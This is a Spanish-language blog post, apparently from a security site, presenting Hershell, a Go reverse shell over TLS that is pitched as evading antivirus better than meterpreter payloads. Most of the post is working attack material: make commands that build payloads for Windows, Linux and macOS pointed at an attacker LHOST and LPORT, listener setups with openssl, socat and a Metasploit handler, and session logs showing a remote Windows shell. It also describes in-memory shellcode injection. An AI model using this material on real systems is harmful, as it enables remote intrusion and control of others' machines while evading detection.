Hershell, una shell reversa escrita en Go

Hershell de Ronan Kervella es una sencilla shell reversa TCP escrita en Go que utiliza TLS para proteger las comunicaciones y certificate pinning para evitar la interceptación de tráfico.

Se presenta como una interesante alternativa a los payloads de meterpreter que muchas veces son detectados por los AV y, al estar escrito en Go, puede compilarse para la arquitectura deseada. Soporta Windows, Linux, Mac OS, FreeBSD y derivados.

Construyendo el payload

Para simplificar las cosas, se puede usar el archivo Makefile proporcionado pudiendo establecer las siguientes variables de entorno:

- GOOS: el sistema operativo objetivo
- GOARCH: la arquitectura de destino
- LHOST: la IP o nombre de dominio del atacante
- LPORT: el puerto de escucha

Para las variables GOOS y GOARCH, puedes obtener los valores permitidos aquí.

Sin embargo, algunos objetivos auxiliares ya están disponibles en el archivo Makefile:

- depends: genera el certificado del servidor (requerido para la shell reversa)
- windows32: crea un ejecutable de Windows de 32 bits (PE 32 bits)
- windows64: crea un ejecutable de Windows de 64 bits (PE 64 bits)
- linux32: crea un ejecutable de 32 bits de Linux (ELF 32 bits)
- linux64: crea un ejecutable Linux de 64 bits (ELF 64 bits)
- macos: construye un ejecutable Mac OS de 64 bits (Mach-O)

Para esos objetivos, solo se necesita establecer las variables de entorno LHOST y LPORT.

Usando la shell

Una vez ejecutado, se obtendrá una shell remota. Esta shell interactiva personalizada permitirá ejecutar comandos del sistema a través de cmd.exe en Windows o /bin/sh en máquinas UNIX.

También se soportan los siguientes comandos especiales:

- run_shell: te deja una shell del sistema (permitiéndote, por ejemplo, cambiar directorios)
- Inject : inyecta un shellcode (codificado en base64) en la misma memoria de proceso y lo ejecuta (Windows solo por el momento)
- meterpreter IP:PORT: se conecta a un multi/handler para obtener un segundo stage de metasploit (reverse tcp meterpreter), y ejecuta el shellcode en la memoria (Windows solo en este momento)
- exit: salir


Ejemplos

Primero, necesitaremos generar un certificado válido:
$ make depends
openssl req -subj '/CN=sysdream.com/O=Sysdream/C=FR' -new -newkey rsa:4096 -days 3650 -nodes -x509 -keyout server.key -out server.pem
Generating a 4096 bit RSA private key
.....................................++
............................................++
writing new private key to 'server.key'
-----
cat server.key >> server.pem

Para windows:
# Custom target
$ make GOOS=windows GOARCH=amd64 LHOST=192.168.0.12 LPORT=1234
# Predifined target
$ make windows32 LHOST=192.168.0.12 LPORT=1234

Para Linux:
# Custom target
$ make GOOS=linux GOARCH=amd64 LHOST=192.168.0.12 LPORT=1234
# Predifined target
$ make linux32 LHOST=192.168.0.12 LPORT=1234

Para Mac OS X:
$ make macos LHOST=192.168.0.12 LPORT=1234

Listeners

En el lado del servidor podemos usar un servidor TLS con openssl:
$ openssl s_server -cert server.pem -key server.key -accept 1234
Using default temp DH parameters
ACCEPT
bad gethostbyaddr
-----BEGIN SSL SESSION PARAMETERS-----
MHUCAQECAgMDBALALwQgsR3QwizJziqh4Ps3i+xHQKs9lvp5RfsYPWjEDB68Z4kE
MHnP0OD99CHv2u27THKvCHCggKEpgrPnKH+vNGJGPJZ42QylfkekhSwY5Mtr5qYI
5qEGAgRYgSfgogQCAgEspAYEBAEAAAA=
-----END SSL SESSION PARAMETERS-----
Shared ciphers:ECDHE-RSA-AES128-GCM-SHA256:ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES128-SHA:ECDHE-ECDSA-AES128-SHA:ECDHE-RSA-AES256-SHA:ECDHE-ECDSA-AES256-SHA:AES128-GCM-SHA256:AES256-GCM-SHA384:AES128-SHA:AES256-SHA:ECDHE-RSA-DES-CBC3-SHA:DES-CBC3-SHA
Signature Algorithms: RSA+SHA256:ECDSA+SHA256:RSA+SHA384:ECDSA+SHA384:RSA+SHA1:ECDSA+SHA1
Shared Signature Algorithms: RSA+SHA256:ECDSA+SHA256:RSA+SHA384:ECDSA+SHA384:RSA+SHA1:ECDSA+SHA1
Supported Elliptic Curve Point Formats: uncompressed
Supported Elliptic Curves: P-256:P-384:P-521
Shared Elliptic curves: P-256:P-384:P-521
CIPHER is ECDHE-RSA-AES128-GCM-SHA256
Secure Renegotiation IS supported
Microsoft Windows [version 10.0.10586]
(c) 2015 Microsoft Corporation. Tous droits rservs.

C:\Users\LAB2\Downloads>

O incluso mejor, usar socat con su módulo readline, que facilita un history:
$ socat readline openssl-listen:1234,fork,reuseaddr,verify=0,cert=server.pem
Microsoft Windows [version 10.0.10586]
(c) 2015 Microsoft Corporation. Tous droits rservs.

C:\Users\LAB2\Downloads>

Y, ojo a esto, usar un handler de metasploit:
[172.17.0.2][Sessions: 0][Jobs: 0]: > use exploit/multi/handler
[172.17.0.2][Sessions: 0][Jobs: 0]: exploit(handler) > set payload python/shell_reverse_tcp_ssl
payload => python/shell_reverse_tcp_ssl
[172.17.0.2][Sessions: 0][Jobs: 0]: exploit(handler) > set lhost 192.168.122.1
lhost => 192.168.122.1
[172.17.0.2][Sessions: 0][Jobs: 0]: exploit(handler) > set lport 4444
lport => 4444
[172.17.0.2][Sessions: 0][Jobs: 0]: exploit(handler) > set handlersslcert /tmp/data/server.pem
handlersslcert => /tmp/data/server.pem
[172.17.0.2][Sessions: 0][Jobs: 0]: exploit(handler) > set exitonsession false
exitonsession => false
[172.17.0.2][Sessions: 0][Jobs: 0]: exploit(handler) > exploit -j
[*] Exploit running as background job.

[-] Handler failed to bind to 192.168.122.1:4444
[*] Started reverse SSL handler on 0.0.0.0:4444
[*] Starting the payload handler...
[172.17.0.2][Sessions: 0][Jobs: 1]: exploit(handler) >
[*] Command shell session 1 opened (172.17.0.2:4444 -> 172.17.0.1:51995) at 2017-02-09 12:07:51 +0000
[172.17.0.2][Sessions: 1][Jobs: 1]: exploit(handler) > sessions -i 1
[*] Starting interaction with 1...

Microsoft Windows [version 10.0.10586]
(c) 2015 Microsoft Corporation. Tous droits rservs.

C:\Users\lab1\Downloads>whoami
whoami
desktop-jcfs2ok\lab1

C:\Users\lab1\Downloads>

Proyecto: https://github.com/sysdream/hershell

3 comentarios :

  1. Soy fan acérrimo de AESShell, pero esto de Hershell parece muy muy muy potente.

    ResponderEliminar
  2. Fe de erratas!
    Las variables GOOS y GOARCH aquí: https://golang.org/doc/install/source#environment

    ResponderEliminar